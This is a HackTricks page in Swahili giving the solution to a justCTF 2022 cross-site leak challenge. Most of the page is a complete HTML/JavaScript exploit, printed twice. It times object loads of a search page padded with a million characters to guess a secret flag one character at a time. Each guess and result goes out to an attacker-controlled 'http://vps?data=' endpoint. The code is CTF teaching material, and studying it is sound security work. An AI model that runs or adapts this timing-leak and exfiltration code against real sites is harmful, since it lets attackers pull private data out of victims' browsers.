performance.now + Force heavy task

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Angalia mpango wa usajili!
Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Exploiti ilichukuliwa kutoka https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

Katika changamoto hii, mtumiaji angeweza kutuma maelfu ya herufi na ikiwa bendera ilikuwa ndani, herufi hizo zingerejeshwa kwa roboti. Hivyo kuweka idadi kubwa ya herufi, mshambuliaji angeweza kupima ikiwa bendera ilikuwa ndani ya mfuatano wa herufi uliopelekwa au la.

Kwanza, sikuweka upana na urefu wa kitu, lakini baadaye, niligundua kuwa ni muhimu kwa sababu saizi ya kawaida ni ndogo sana kuleta tofauti katika muda wa kupakia.

<!DOCTYPE html>
<html>
<head>

</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')

function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}

function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})

}

send('start')

let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'

async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}

found /= 3
notFound /= 3

send('found flag:'+found)
send('not found flag:'+notFound)

let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)

if (notFound > found) {
return
}

// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}

main()

</script>
</body>

</html>

Support HackTricks

Angalia mpango wa usajili!
Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Previousperformance.now example NextEvent Loop Blocking + Lazy images

Last updated 4 months ago

<!DOCTYPE html> <html> <head> </head> <body> <img src="https://deelay.me/30000/https://example.com"> <script> fetch('https://deelay.me/30000/https://example.com') function send(data) { fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1) } function leak(char, callback) { return new Promise(resolve => { let ss = 'just_random_string' let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000) let start = performance.now() let object = document.createElement('object'); object.width = '2000px' object.height = '2000px' object.data = url; object.onload = () => { object.remove() let end = performance.now() resolve(end - start) } object.onerror = () => console.log('Error event triggered'); document.body.appendChild(object); }) } send('start') let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('') let flag = 'justCTF{' async function main() { let found = 0 let notFound = 0 for(let i=0;i<3;i++) { await leak('..') } for(let i=0; i<3; i++) { found += await leak('justCTF') } for(let i=0; i<3; i++) { notFound += await leak('NOT_FOUND123') } found /= 3 notFound /= 3 send('found flag:'+found) send('not found flag:'+notFound) let threshold = found - ((found - notFound)/2) send('threshold:'+threshold) if (notFound > found) { return } // exploit while(true) { if (flag[flag.length - 1] === '}') { break } for(let char of charset) { let trying = flag + char let time = 0 for(let i=0; i<3; i++) { time += await leak(trying) } time/=3 send('char:'+trying+',time:'+time) if (time >= threshold) { flag += char send(flag) break } } } } main() </script> </body> </html>